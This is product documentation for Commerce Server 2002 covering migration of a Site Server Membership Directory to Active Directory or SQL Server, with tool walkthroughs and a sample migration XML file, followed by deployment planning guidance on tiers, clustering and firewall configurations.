Migrating Groups

Although the Commerce Server Profiling System supports groups, the implementation is dependent upon the capability of the Profiles data store. You must use Active Directory directory service to implement groups the same way they are implemented in the Microsoft Site Server 3.0 Membership Directory.

You can use Active Directory to create groups and assign access control lists (ACLs) and Access Control Entries (ACE) on files and directories. However, the implementation is not as completely compatible with a site as it would be if implemented by using the Site Server 3.0 Membership Directory. Active Directory limits a group to 5,000 objects. This limit is necessary because of the manner in which the contents of the group are replicated between instances of the domain controllers. Although this limitation will be addressed in future versions of Active Directory, it is necessary to perform a work-around to migrate your Membership Directory.

You can use the Directory Migration tools to create subgroups, and then add user profiles to the subgroups. To preserve space for additional growth and subgroups, the tools fill 4,500 user profiles per subgroup.

The following table shows how a group with 100,000 user profiles in the Membership Directory would be migrated to Active Directory.

Membership Directory Structure | Equivalent Active Directory Structure
GroupA | GroupA
User1 .. User100000 | GroupA_0000
 | User1 .. User4500
 | GroupA_0001
 | User4501 .. User9000
 | …
 | GroupA_0023
 | User99001 .. User100000

Caution

  • You must set up Active Directory in Native mode. Do not set up Active Directory in Mixed mode; if you do, Active Directory will not create the required group hierarchy.

If you use a forest of domains to contain the user profiles, the migration becomes more complex. The following figure shows how to map user profiles and content ACLs to Active Directory and still enforce site security.

A figure showing how to migrate to a forest of domains.


Migrating to Active Directory or SQL Server

You must decide whether you are migrating users to Active Directory directory services or to Microsoft SQL Server.

This section contains:

  • Migration Performance and Scalability
  • Migration Attribute Compatibility

Migration Performance and Scalability

Active Directory

The Microsoft Windows 2000 Server Active Directory directory service is a robust, highly secure directory store. When planning for performance and scalability, note the following:

  • Active Directory is necessary to support deployment requiring access control of files that map to groups of users.
  • Active Directory is tuned as a domain controller with write transactions representing only a fraction of the total directory input/output.
  • Current testing indicates that at about one million (1,000,000) users in a domain the replication input/output between Active Directory instances in the domain begins to impact read/write activity for the profile. In addition, there is a practical limit of approximately five domains with one million users in each domain before the global catalog replication overhead begins to impact profile request input/output. These numbers are subject to hardware performance and tuning optimization.

The following recommendations are based on testing conducted using a typical e-commerce user profile:

  • One million users per Active Directory domain.
  • Five Active Directory domains per forest of domains (this equates to a practical limit of five million accounts in Active Directory deployments).

For more information, see the latest performance and scalability documents at http://go.microsoft.com/fwlink/?LinkId=945.

SQL Server

Commerce Server does not support Microsoft SQL Server 7.0, only Microsoft SQL Server 2000. When you plan for performance and scalability, note the following:

  • SQL Server has excellent scalability and stability characteristics. SQL Server is tuned for highly dynamic data supporting read/write balances approaching 50/50 with no significant performance degradation. This maps well to e-commerce sites with highly dynamic attributes being kept for users (for example, Favorites and Date/Time of last visit).
  • No limits have been found in testing up to 10 million users in the store with a one percent concurrency rate.
  • Groups created in SQL Server do not have system ACL/ACE integration that allows you to protect static content (for example, pictures and audio files).
  • Groups implemented under SQL are created as multi-value strings with a practical limit of fewer than 200 users per group.

Using Active Directory and SQL Server

For those sites that require both the access control provided by Active Directory and the performance of SQL Server, it is recommended that Active Directory and SQL Server be used together to store user profile information. In this scenario, you would store data associated with user credentials and data that is very stable in an Active Directory data store. You would store the remaining attributes in SQL Server.

For example, you might want to divide the attributes as shown:

  • User profile attributes stored in Active Directory:
    • UserName
    • Password
  • User profile attributes stored in SQL Server:
    • Credit Card
    • Home Address, City, State, Zip
    • Home Phone Number
    • Date/Time of last visit
    • Favorite Color
    • Last page visited
    • Year-to-date total spent on site

Migration Attribute Compatibility

Not every Site Server 3.0 Membership Directory attribute has an equivalent attribute in a Commerce Server Profiles data store.

The following table lists the types of attributes in a Membership Directory, the equivalent attributes in a Profiles data store, and the data types in Active Directory and SQL Server. These are the attributes that are supported by Commerce Server without any modifications.

Membership Directory Attribute Type | Commerce Server Profiling System Equivalent Type(s) | Active Directory Underlying Data Type | SQL Server Underlying Data Type
String | Text, Password, SiteTerm, Profile | String | String
Integer | Numbers Only, Decimal Currency | Number | Number
DateTime | Date/Time, Date, Time | DateTime | DateTime
Distinguished Name (DN) | Text, Password, SiteTerm, Profile | String | String
Binary | Binary | Binary | Binary
Multi-value String | Multi-value (Text, Password, SiteTerm, Profile) | Multi-value String | Multi-value String
Multi-value Integer | Multi-value NUMBER | Multi-value Integer | Not supported
Multi-value DateTime | Multi-value Date/Time, Date, Time | Multi-value DateTime | Not supported
Multi-value DN | Multi-value (Text, Password, SiteTerm, Profile) | Multi-value String | Multi-value String
Multi-value Binary | Multi-value Binary | Multi-value Binary | Not supported

Caution

  • Use caution when enabling multi-value attributes in a profile. The underlying data type is not checked to verify whether it is flagged as a multi-value data type.
  • There are currently several data types that are supported in the profile but are not enabled at the data layer on either SQL Server or Active Directory stores. These include: Integer, Long Text, and Reference.


Preparing for Migration

Before you migrate the Membership Directory to Commerce Server, you must perform the following steps:

  1. Set Up Commerce Server Profiles. Perform this step to create the data elements and data types in the Commerce Server Profiles data store.
  2. Modify Your Migration Objects. Perform this step so your migration objects can read all of the user information, modify it as needed, and then write it to the Commerce Server Profiles store.
  3. Run the Migration ProfileBuilder Tool. Perform this step to create the Extensible Markup Language (XML) file used by the Directory Migration tool.
  4. Run the Groups Pre-Population Tool. Perform this step if you are using Windows 2000 Server Active Directory.
  5. Compile Migration Objects. Perform this step only if you have modified your migration objects.
  6. Register Migration Objects. Perform this step to register the Directory Migration tool objects. You must perform this step even if you have not modified your migration objects.


Set Up Commerce Server Profiles

The following steps assume you have installed Commerce Server 2002 and verified that a Solution Site runs successfully in your environment. You must verify that the Commerce Server Profiling System can access the required data stores (for example, SQL Server, Active Directory, other OLE DB stores, or a Lightweight Directory Access Protocol (LDAP) version 3-compliant store).

To set up your Commerce Server profiles

  1. Determine which attributes in the Membership Directory member class you want to migrate.
  2. Use the Profiles service in Commerce Server Manager to create the underlying data elements.
  3. Use the Profiles service to map the data elements to the relevant data types available.

See Also

Running the Profiles Resource


Modify Your Migration Objects

Depending on the requirements for your site, it may be necessary to modify the MigrationRead, MigrationWriteObj, or MigrationModifyObj objects. The objects are written in C++.

If you need to modify your objects, you should do so before running the Migration ProfileBuilder tool.


Run the Migration ProfileBuilder Tool

After you have set up your Commerce Server profiles and modified your migration objects as required, you can run the Migration ProfileBuilder tool to generate the migration Extensible Markup Language (XML) file.

This section contains:

  • Compiling Migration ProfileBuilder Tool
  • Mapping Attributes from Membership Directory to Profiles Data Store


Compiling the Migration ProfileBuilder Tool

If you need to modify the Migration ProfileBuilder tool, you can access the source code in the folder <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Tools\Membership Migration\ProfileBuilder.

The application images were built using Microsoft Visual Basic 6.0 Professional.

After you modify the Migration ProfileBuilder tool, you must create a Data Source Name (DSN) for the Commerce Server Profiles data store using the Data Sources (ODBC) manager found on the Start Menu under Programs/Administrative Tools/Data Sources (ODBC). Create a System DSN using the SQL Server driver. Ensure you change the default connection string to point to the correct Profiles data store (for example, Retail_commerce).

For more information about secure deployment, see Deploying a Secure Commerce Server 2002 Site at http://go.microsoft.com/fwlink/?LinkId=10127.

See Also

Securing Your Site


Mapping Attributes from Membership Directory to Profiles Data Store

To run the Migration ProfileBuilder tool, the server running the tool must be able to access both the Membership Directory Lightweight Directory Access Protocol (LDAP) server and the Commerce Server computer running the ProfileService object.

To run the Migration ProfileBuilder tool

  1. In Windows Explorer, navigate to the folder that contains the Migration ProfileBuilder tool, and then double-click ProfileBuilder.exe.
  2. In the Step 1 dialog box, do the following:
    Use this | To do this
    Location to store all of the profiles | Type the directory that contains the XML files used by the MigrationMainObj object. Usually, you will use only one XML file.
    XML file name | Type the name of the file to be generated. The Migration ProfileBuilder tool appends a profile ID to the end of the name. In this sample, the files will be named "migration"< n >.xml where "n" is incremented each time a profile is generated.
    ProgID of IMigrationRead | Type the ProgID of the MigrationReadObj object. This default is generated by the included source code.
    ProgID of IMigrationWrite | Type the ProgID of the MigrationWriteObj object. This default is generated by the included source code.
    ProgID of IMigrationModify | Type the ProgID of the MigrationModifyObj object. This default is generated by the included source code.
    ProgID of IMigrationLog | Type the ProgID of the MigrationLogObj object. This default is generated by the included source code.
  3. In the Step 2 dialog box, do the following:
    Use this | To do this
    Membership Directory Server | Type the Netbios name of the Membership Directory.
    Port Number | Type the port number of the Membership Directory instance.
    MD User Name | Type the distinguished name of the user for the connection to the Membership Directory.
    Password | Type the password for the Membership Directory User Name given in the MD User Name box.
    Server Name | Type the name of the SQL Server running the Commerce Server Administration database.
    Database Name | Type the name of the database where the Profiles store is located.
    DBA Name | Type the login of the user who has system administrator (sa) privileges.
    DBA's Password | Type the password of the login user.
  4. In the Step 3 dialog box, do the following:
    Use this | To do this
    Migrate MemberOf | Determine whether the migration object reading this XML file will migrate users to Active Directory groups.
    Object Schema | Type the schema representing the user to be read, for example, member. You can type in other custom classes if they are to be migrated.
    Filter Depth | Type a number to specify the level of search requested. This is provided as a mechanism for preventing LDAP query timeouts. A filter depth of 2 will search cn=xx*. A filter depth of 3 will search cn=xxx* ("x" = [a-z, 0-9]).
    Search Scope | Select the depth to which the tool can search sub-containers under the root from the drop-down list.
    Search Filter Base | Type a prefix for account names to be migrated in batch mode (for example, cn=a).
  5. In the Step 4 dialog box, do the following:
    Use this | To do this
    Group's parent RDN | Type the Active Directory Relative Distinguished Name (RDN).
    AD Administrator's User Name | Type the name of the login account to use when writing to Active Directory. Use the form "domain\account."
    AD Administrator's Password | Type the password for the account named in the AD Administrator's User Name box.
    Catalog | Select the profile catalog to use. Typically this is Profile Definitions.
  6. Map the attributes to be read to the attributes to be written. You can control the objects listed in the right pane by selecting the profile definitions from the list of boxes. To create an association, click the attribute in the Site Server box, and then click the corresponding attribute in the Commerce Server box.

    The numbers on the left of the attributes indicate the mapping (for example, 49 Telephone Number = 49 tel_number).

    The following figure shows attributes mapped from the Membership Directory to the Commerce Server Profiles data store.

    A screen shot showing attributes that have been mapped.

  7. When you finish mapping the attributes, click Preview.

    The Step 5 dialog box displays the entire XML file.

  8. If the XML file is complete, click Yes.

    The Migration ProfileBuilder tool saves the XML file.


Run the Groups Pre-Population Tool

After you run the Migration ProfileBuilder tool to create the XML file, you can create the groups to which the user profiles will migrate.

To run the Groups Pre-Population tool, the server running the tool must be able to access both the Membership Directory Lightweight Directory Access Protocol (LDAP) server and the computer running Commerce Server.

To run the Groups Pre-Population tool

  1. In Windows Explorer, navigate to the folder that contains the Groups Pre-Population tool, and then double-click GroupMigration.exe.
  2. In the Create group structure in AD dialog box, do the following:
    Use this | To do this
    Server Name | Type the name of the Membership Directory server.
    Port Number | Type the port number of the Membership Directory LDAP server.
    User Name | Type the login name to use to connect to the LDAP server. Use this format: domain\user.
    Password | Type the password for the login name.
    Groups DN | Type the distinguished name of the groups object.
    Group's Schema | Type the objects describing the group schemas.
    Organizational Unit | Type the organizational unit under which you want to create the groups in Active Directory.
    Server | Type the name of the server on which Commerce Server is installed.
    Port | Type the port number for the server on which Commerce Server is installed.
    Partition | Type the list of the partition(s) to be included in the Active Directory forest. Use this format: dc = <DomainName>.
    Domain User Name | Type the login name of an authorized Active Directory user. Use this format: <DomainUser>.
    Password | Type the password for the Domain User Name.

    Note

    • When entering the partitions, you must click Add to save the entry.
  3. Click Next.
  4. In the Group Attributes Map dialog box, do the following:
    Use this | To do this
    Top box on left | Select the Membership Directory group attribute category.
    Top box on right | Type the name of your Active Directory Profile data store.
  5. To map a user profile attribute to the equivalent attribute in your Active Directory Profile data store, in the box below Description, select a user profile attribute, and then click Map.

    There are two entries by default: Description and MBSTokenID.

  6. In the right column, type the name of the attribute you want to map. Make sure the attribute name you typed exists in Active Directory with the matching data type.
  7. To remove any attributes you do not want to map, click Remove.
  8. To complete the process of mapping the attributes, click Finish.

The Groups Pre-Population tool reads the groups in the Membership Directory and recreates them in Active Directory. This creation process can take a considerable amount of time, depending upon how many groups you have.

For more information about secure deployment, see Deploying a Secure Commerce Server 2002 Site at http://go.microsoft.com/fwlink/?LinkId=10127.

See Also

Securing Your Site


Compile Migration Objects

If you modify your migration objects, you must compile them in the following order:

  1. MigUtil
  2. MigrationModifyObj
  3. MigrationLogObj
  4. MigrationReadObj
  5. MigrationWriteObj
  6. MigrationMainObj

Note the following dependencies, and the resulting consequences for compilation order:

  • MigrationMainObj depends on the other four objects.
  • MigrationReadObj depends on MigUtil and MigrationModifyObj.
  • MigrationWriteObj depends on MigUtil and MigrationLogObj.
  • MigrationLogObj depends on MigUtil.
  • MigrationModifyObj depends on MigUtil.

The MigrationLogObj object is used by the MigrationWriteObj and MigrationMainObj objects to log errors.

The MigrationReadObj object does not log errors directly because any errors it returns are logged from the MigrationMainObj object.

If the MigrationWriteObj object encounters errors while writing, it rolls back the entire user record, and then returns an error back to the MigrationMainObj object. Then the MigrationMainObj object logs the error. The MigrationWriteObj will directly use the MigrationLogObj only when errors occur in the rollback process itself.

If you make modifications to the code, recompile using Microsoft Visual Basic 6.0 Service Pack 3 or Microsoft Visual C++ 6.0 Service Pack 3.

The following table shows the required compiler settings for each component.

Component | Compile Using | Compiler Options
GroupMigration | Visual Basic 6 | Default settings
ProfileBuilder | Visual Basic 6 | Default settings
SubGroupManager | Visual Basic 6 | Default settings
MigrationLogObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationMainObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationModifyObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationReadObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigrationWriteObj | Visual C++ 6 | Set active project = Release, Unicode, MinSize
MigUtil | Visual C++ 6 | Set active project configuration = Release


Register Migration Objects

You must register the directory migration objects on each computer on which they are installed. For example:

Regsvr32 /s MigrationLogObj.dll

Register all five objects together by copying the following code sample to a .bat file, and then run it:

Regsvr32 /s MigrationLogObj.dll
Regsvr32 /s MigrationMainObj.dll
Regsvr32 /s MigrationModifyObj.dll
Regsvr32 /s MigrationReadObj.dll
Regsvr32 /s MigrationWriteObj.dll


Starting the Migration Process

To begin the migration process, deploy the migration objects to the servers that will be running the migration process. Follow these steps:

  1. Extend the attributes for members by creating a Migration attribute in the Membership Directory.
  2. Create at least one migration profile using the Migration ProfileBuilder tool. You will need to create one for each type of migration in your plan (batch and on-demand combined).
  3. To deploy the objects you will need to copy the completed migration objects to each server and register the objects. For more information, see Register Migration Objects.
  4. You will also need to make sure that the registry keys are set appropriately. For more information, see the Requirements section of MigrationLogObj Object.

If you plan on migrating users with on-demand migration as they log into your new site, you will want to install the migration objects on the Web servers and use the Login.asp file found in the <drive>:\Program Files\Microsoft Commerce Server\SDK\Tools\SSCE Migration\Membership\Client directory. Use this file as a sample of how to trigger a migration when a user first visits your new Commerce Server site.

If you want to migrate all of your users together, install the migration objects on the server from which you will migrate all of the users. For best performance, choose a computer that is dedicated to the migration process. When you build the profile for migrating a range of users using the Migration ProfileBuilder tool, establish a filter depth, a search scope, and a search filter base, by using the dialog box in step 3. Experimenting with different values before beginning the actual migration process allows you to optimize migration performance. Note that the distribution patterns of user account names in the Membership Directory play an important role in the tuning process.

Always test the on-demand migration process before putting it into production.


Troubleshooting with the Migration Log File

The migration objects record problems to a text log file in the directory specified by the LogFilePath registry key. The log file will contain reports of migration failures and events that prevented successful migration. Additional migration failure information will be logged using the data returned by the failing object.

A new log file is automatically created and used whenever the number of lines in the current log file reaches the limit defined by the MaxNumLinesEachFile registry key.


Verifying Successful Migration

To verify that all users have been successfully migrated, query the Membership Directory for all accounts for which the Migration attribute is missing, or for which the Migration attribute set to False. Until the query returns no accounts, migrate the returned accounts individually.

When the query returns no records, you know that all of the users were migrated.

After establishing that all users have been migrated, remember to perform the following tasks:

  • As required, replace the version of the Login.asp file that triggers on-demand migration with your original Login.asp file.
  • Unregister and remove the migration objects from the servers upon which they were installed.
  • Back up and delete the migration log files.


Migration Utility Library

The Migration Utility Library, MigUtil, contains global settings and methods. These include the following global variables:

  • Global variable g_pwszUserObject. Corresponds to the default setting in Commerce Server. If you switch to a different profile (other than UserObject), the name of the new profile should be assigned to this global variable.
  • Global variable g_searchOrder. Holds all the possible symbols that might appear in the search filters for Common Name (CN) except digits from 0 to 9, which are converted to characters in the initialization stage. You have to allocate ten more spaces in this array to hold these ten numbers. For example:
    WCHAR g_searchOrder[128] = {L'a', L'b', L'c', L'd', L'e', L'f', L'g',
                            L'h', L'i', L'j', L'k', L'l', L'm', L'n',
                            L'o', L'p', L'q', L'r', L's', L't', L'u',
                            L'v', L'w', L'x', L'y', L'z'};

    In this example, the 128 characters that are reserved are more than sufficient (including the ten extra characters).

  • Global variable g_numSymbols. Contains the number of symbols you want to store in the array of g_searchOrder (not including the ten digits). For example:
    int g_numSymbols = 26;


Sample XML File

The following is a sample migration profile XML file. The Migration ProfileBuilder tool in the Microsoft Commerce Server 2002 Software Development Kit (SDK) builds XML files that resemble the following:

<?xml version="1.0" ?>
<PROFILE1>
    <MIGRATION-PROFILE>
        <ProfileID>2</ProfileID>
    </MIGRATION-PROFILE>
    <MigrationObjects>
        <ReadObj>MigrationReadObj.MigrationRead</ReadObj>
        <WriteObj>MigrationWriteObj.MigrationWrite</WriteObj>
        <ModifyObj>MigrationModifyObj.MigrationModify</ModifyObj>
        <LogObj>MigrationLogObj.MigrationLog</LogObj>
    </MigrationObjects>
    <MembershipDirectory>
        <MConnectionString>LDAP://localhost1:1003</MConnectionString>
        <MigrateMemberOf>TRUE</MigrateMemberOf>
        <MDUserName>cn=administrator,ou=members,o=migration</MDUserName>
        <MDPassword>password</MDPassword>
    </MembershipDirectory>
    <SearchFilterInfo>
        <FilterDepth>2</FilterDepth>
        <ADsSearchScope>2</ADsSearchScope>
        <SearchFilterBase>cn=</SearchFilterBase>
    </SearchFilterInfo>
    <UserProfileService>
        <ADSite>TRUE</ADSite>
        <GenerateSamAccount>TRUE</GenerateSamAccount>
        <UConfigStore>SERVER=localhost2;
                      DATABASE=supplierAD_commerce;
                      UID=sa;PWD=</UConfigStore>
        <UCatalog>Profile Definitions</UCatalog>
        <GroupOUToDC>OU=MSCS_40_Root</GroupOUToDC>
        <CSUserName>administrator</CSUserName>
        <CSPassword>csdqfe</CSPassword>
    </UserProfileService>
    <Mapping>
        <FromMembership>givenName</FromMembership>
        <ToUPS>GeneralInfo.first_name</ToUPS>
        <WProfileType>UserObject</WProfileType>
        <WTypes>VT_BSTR</WTypes>
        <FromMembership>sn</FromMembership>
        <ToUPS>GeneralInfo.last_name</ToUPS>
        <WTypes>VT_BSTR</WTypes>
        <WProfileType>UserObject</WProfileType>
        <FromMembership>cn</FromMembership>
        <ToUPS>ProfileSystem.sam_account_name</ToUPS>
        <WTypes>VT_BSTR</WTypes>
        <WProfileType>UserObject</WProfileType>
    </Mapping>
</PROFILE1>


Planning for Deployment

Deploying Commerce Server 2002 and your Web site applications requires careful planning. Take the time to develop a comprehensive deployment plan so you will meet your business requirements in a timely and organized manner. Before you actually move your development applications onto a Web site, review the information presented here and in the Commerce Server 2000 Resource Kit.

More importantly, make sure your organization has developed its own plan, and that it includes input from business managers, system administrators, and site developers.

Deployment involves the movement of your Web site between three distinct hardware environments—from development, to test, to production. The following figure illustrates these environments in a simplified manner. The actual appearance of these environments depends on the size of your site and your business goals.

Development, test, and production environments

Before deploying Commerce Server 2002, make sure you have planned for the following:

  • You have determined which deployment scenario you will use as a model for implementing your own deployment.
  • You have a plan for scaling the deployment.
  • You have determined how you will maintain availability.
  • You have planned how you will monitor and update the phases of deployment.
  • An independent, outside company has completed a security audit of your site. Such a review is an effective means for discovering security risks.

This section contains:

  • Isolating the Three Tiers. Describes the strategy of isolating each tier to simplify administration.
  • Clustering Concepts. Describes the concepts of clustering each tier.
  • Firewall Configurations. Describes the advantages and disadvantages of different firewall configuration options.
  • Deployment Scenarios. Provides sample deployment scenarios that can be used as models for your deployment.

See Also

Deploying Your Site

Upgrading from Site Server 3.0

Migrating the Membership Directory


Isolating the Three Tiers

Most Internet services require configurations that separate the user interface tier from the business logic tier and the database tier to simplify administration.

The following figure shows how many e-commerce sites further isolate business logic from underlying data.

A figure that illustrates multi-tiered e-commerce site architecture

In a multi-tiered configuration, such as the one shown here, client browsers access Web pages and the Web pages activate associated business logic hosted on a Web server. The persistent data that the business objects require is maintained in a separate database tier.

Data and state information control processing logic and client experience. The following table describes typical design strategies you can use for isolating each tier.

Tier Strategy
User interface tier
  • Low state (does not hold much application code state information), unique data stored in cookies or registry.
  • Wide variety of low-end servers.
  • Minimize downtime by using additional servers.
Business logic tier
  • Web applications, such as the Product Catalog System, Profiling System, and Business Process Pipelines, run on this tier.
  • Low state, no unique data, inexpensive servers.
  • Minimize downtime by using software or hardware single-Internet Protocol (IP) load balancing.
Database tier
  • Data that Commerce Server uses is managed and stored in the Data Warehouse on this tier.
  • System state and data are stored on this tier.
  • Minimize downtime by using a clustered or replicated configuration.


Clustering Concepts

The key to scaling a deployment is clustering. By grouping multiple servers together into a single cluster, you can leverage the resources of each server and distribute client workload across those servers. As site usage increases, you can add servers to the cluster to accommodate the increased workload.

Depending on site architecture and deployment design, clustering can also increase performance and availability by removing single points of failure and enhancing specific functionality. Isolating the deployment into separate clusters allows you to manage the clusters in each tier independently. In this manner, you can alleviate bottlenecks by isolating the problematic servers into their own cluster. For example, if processing transactions is the bottleneck, you can isolate this functionality onto its own database. You can then increase the availability and performance of this database through clustering, independent of the other servers in your deployment.

Typically, Commerce Server 2002 components use two key clustering methods for the following purposes:

  • Network Load Balancing (NLB) on the Web tier to provide load balancing and scalability
  • Cluster Service on the database tier to provide fault tolerance

Both clustering methods increase availability and reliability. Load balancing across the Web tier provides scalability and is more suitable for data that is stateless (such as data used for Web servers, streaming media, VPN, and proxy servers). Clustering the database tier is more suitable for data that is highly dynamic (such as data used for SQL Server, Exchange Server, file servers, and print servers).

A Web cluster using NLB typically consists of multiple cluster members. Each member runs as an independent Web server and does not share data with other cluster members (other than any data used for cluster operations). If any cluster member fails or encounters errors, this member can be set offline or taken out of the cluster so that incoming client requests are load balanced to working members only. For more information about NLB, see the documentation in Windows 2000 Advanced Server or Windows 2000 Datacenter Server.

A SQL Server database cluster using Cluster Service typically consists of two members. Both members share a common external storage device and are exact duplicates. If one member fails or encounters errors, the other member is substituted so that database functionality is operational. For more information about NLB, see the documentation in Windows 2000 Advanced Server or Windows 2000 Datacenter Server.

See Also

Clustering the Web Servers

Clustering the SQL Servers

Securing Your Site


Firewall Configurations

Regardless of the size of your Commerce Server 2002 configuration, you need to decide how to deploy firewalls. Additional firewalls increase your costs, but help you isolate customers, corporate employees, and sensitive data. Cost is not the only issue, however. Each firewall solution has advantages and disadvantages.

This section contains:

  • Using a Single-Firewall Configuration
  • Using a Two-Firewall Configuration
  • Using a Three-Firewall Configuration


Using a Single-Firewall Configuration

The least expensive option in a small site configuration is to have one firewall separate Internet browsers, your site, and your internal network. This is possible if the firewall contains three network adapters, each connected to one of the three environments.

One place you might want to use just one firewall is in your development environment. For a figure showing a single-firewall configuration, see Small Site Development Environment.

Advantages of the single-firewall solution include the following:

  • The network containing Web servers and database servers is separated physically from the other networks, thereby limiting intrusions into the site. If someone is able to exploit any server that is accessible publicly, they do not have direct access to the internal network.
  • There is only one firewall to purchase and manage.
  • The internal network (containing computers such as the staging server, Business Desk server, or development computers) is not dependent upon the Web site environment to function. If the site has network problems, the internal network does not necessarily lose connectivity.
  • This design is implemented easily in an existing architecture where a firewall is already serving to separate the internal network from the Internet. You might only need to add a third network adapter to the existing firewall.

Disadvantages of the single-firewall solution include the following:

  • The database servers are not separated from the Web servers. Hypertext Transfer Protocol (HTTP) and Hypertext Transfer Protocol Secure (HTTPS) are the only protocols allowed from the Internet to the Web site.
  • An intruder who gains access to a server in the ISP network might gain access to other servers on the site. Additional security is necessary to protect these servers.
  • Communication between Web servers and database servers travels unprotected within the ISP network.
  • Because Commerce Server Business Desk computers share network traffic with Web servers, you need to run HTTPS on the Business Desk computers to ensure the security of data.
  • Some firewall vendors might not support three interfaces.

See Also

Deploying Your Site

Deploying a Secure Site

Securing Your Site

Upgrading from Site Server 3.0

Migrating the Membership Directory


Using a Two-Firewall Configuration

In this configuration, one firewall separates the Internet from the Web servers, and the second firewall separates the Web servers from the internal network, which contains the database servers and the Commerce Server Business Desk computers. For a figure showing a two-firewall configuration, see Small Site Configuration.

Advantages of the two-firewall solution include the following:

  • The system administrator is able to separate the internal network from the Web servers and Internet browsers. Site management is carried out outside the ISP network, on the internal network. The internal network becomes much more difficult for an intruder to access.
  • A layer of protection is implemented to protect the database servers from vulnerabilities that are not dependent upon the relationship between the Web servers and database servers. Such vulnerabilities can result in denial-of-service attacks.
  • The number of computers that are accessible to Internet browsers is minimized. By using two firewalls, it is more difficult to disrupt or abuse the database servers and the Business Desk server.
  • Business Desk does not have to run over the Hypertext Transfer Protocol Secure (HTTPS) protocol, because the Business Desk client and server computers are on the same network.
  • Communication between Business Desk and the database servers does not have to be encrypted because the communication never goes over a public network.
  • It is easier to prevent an Internet browser from impersonating an authorized user. For example, a Web server can be told to listen only for database server requests from one specific IP address. Because both connections are controlled with a firewall, these addresses cannot be used improperly.
  • The Web servers are separated physically from the other networks, thereby limiting intrusions into the site. If someone is able to exploit any server that is accessible publicly, they do not have direct access to the internal network.

Disadvantages of the two-firewall solution include the following:

  • It is more difficult and costly to maintain two firewalls with different configurations.
  • Communication between Web servers and database servers is unprotected within the ISP network. Additional security is needed to protect this communication.
  • The internal corporate network is dependent on the Web site to function. If the Web site has network problems, the internal network could lose connectivity. You should provide a separate network line to connect internal network computers to the Internet, bypassing the ISP network. This separate connection would bypass the firewall separating the ISP network from the internal network.
  • Any traffic that is allowed between the internal network and the Internet is also allowed between the ISP network and the Internet and between the database-server network and the Internet. The security ramifications are determined by which protocols are allowed by the default security policy of the user.

See Also

Deploying Your Site

Deploying a Secure Site

Securing Your Site

Upgrading from Site Server 3.0

Migrating the Membership Directory


Using a Three-Firewall Configuration

This configuration is like the two-firewall configuration, with the addition of a firewall that separates the internal network from the database servers and Commerce Server Business Desk computers. For a figure showing a three-firewall configuration, see Large Site Configuration.

Advantages of the three-firewall solution include the following:

  • The Web site (Web servers, database servers, and Business Desk server) is separated physically from the other networks, providing maximum protection from intruders.
  • It is easier to prevent an Internet browser from impersonating an authorized user. For example, a Web server can be configured to fulfill requests only for database server requests from one specific IP address. Because both connections are controlled with a firewall, these addresses cannot be used improperly.
  • A layer of protection is implemented to protect the database servers from vulnerabilities that are not dependent upon the relationship between the Web servers and database servers. Such vulnerabilities can result in denial-of-service attacks.
  • Adding three firewalls minimizes the number of computers that are accessible directly through the Internet. It is more difficult to disrupt or abuse the database servers and the Business Desk server.
  • The database and Business Desk servers are protected from intruders residing in the internal network.

Disadvantages of the three-firewall solution include the following:

  • It is more difficult and costly to maintain three firewalls with different configurations.
  • Communication between Web servers and database servers is unprotected within the ISP network. Additional security is needed to protect this communication.
  • Any traffic that is allowed between the internal network and the Internet is also allowed between the ISP network and the Internet, and between the database server and the Internet. The security ramifications are determined by which protocols are allowed by the default security policy of the user.
  • This is a more difficult configuration to set up and manage.

See Also

Deploying Your Site

Deploying a Secure Site

Securing Your Site

Upgrading from Site Server 3.0

Migrating the Membership Directory


Deployment Scenarios

When planning your deployment, use one of the following deployment scenarios as a model. Your particular implementation of the deployment scenario will vary depending on your resources and requirements.

This section contains:

  • Small Site Configuration. Describes deployment scenarios for small sites using two to five servers.
  • Large Site Configuration. Describes deployment scenarios for large sites in which various Commerce Server components are deployed onto separate databases.
  • Global Site Configuration. Describes deployment scenarios for global sites where the servers are geographically distributed.


Small Site Configuration

Although it is possible to install all Commerce Server 2002 components on one server, a two-computer configuration is required to separate the business logic and database tiers.

This two-computer configuration has one server in each tier: a Web server and a database server. For fault tolerant and highly available deployments, four computers are required (two clustered computers in each tier). The following figure shows a four-computer production environment.

A small-scale deployment of Commerce Server 2002

In this configuration, the Web servers are load balanced by using Network Load Balancing (NLB). A single Internet Protocol (IP) address is placed in front of the Web servers to increase availability. All business logic runs on both of the stateless Web servers, which contain the Commerce Server administration tools, services, Commerce Server Business Desk, and applications. Having all Commerce Server business logic run on a single server maximizes cache usage for a user session. If a customer is directed to a different Web server in the cluster, the new server merely retrieves data and the customer continues shopping. Commerce Server components are persistent for back-end databases, cookies, or Uniform Resource Locator (URL) query strings, so being directed to a different physical server has minimal impact on the shopping experience of the customer.

The database servers are configured as a Windows Server Cluster with a shared Microsoft SQL Server database. They contain the Administration database, the Commerce Server Data Warehouse, and the other Commerce Server databases.

Two firewalls are used in this configuration: one to secure input from the Internet, and the other to secure input and output to the corporate network.

The configuration shown in the previous figure uses SQL Server to authenticate users. For a more secure deployment, it is recommended that you use Microsoft Active Directory to authenticate users rather than SQL Server. Active Directory provides additional security, but requires the inclusion of domain controllers in your production environment. For more information about deploying a site using Active Directory, see Deploying a Secure Site.

For instructions on installing Commerce Server 2002 on one computer, see the Commerce Server 2002 Installation Guide. For instructions on installing Commerce Server 2002 on two computers, see Installing on a Four-Computer Clustered Configuration (but do not cluster each tier). This four-computer clustered configuration provides high availability by clustering two computers in each tier. To install Commerce Server 2002 on only two computers, ignore the clustering sections and use two computers in the deployment.

For instructions on installing Commerce Server 2002 on three computers, see Installing on a Three-Computer Non-Clustered Configuration. For information on installing Commerce Server 2002 on more than three computers, see Large Site Configuration.

Small Site Configuration With Active Directory

Small Site Development Environment

Small Site Configuration With Active Directory

You might decide to use Active Directory to provide a security context for your Commerce Server site. Active Directory is useful if you need to:

  • Control access to site resources based on the security credentials of a user.
  • Provide security for other applications.

If you decide to implement Active Directory on your site, you should add two additional servers to your configuration. The following figure illustrates a small Commerce Server configuration that includes Active Directory servers.

A small-scale deployment of Commerce Server 2002 with Active Directory

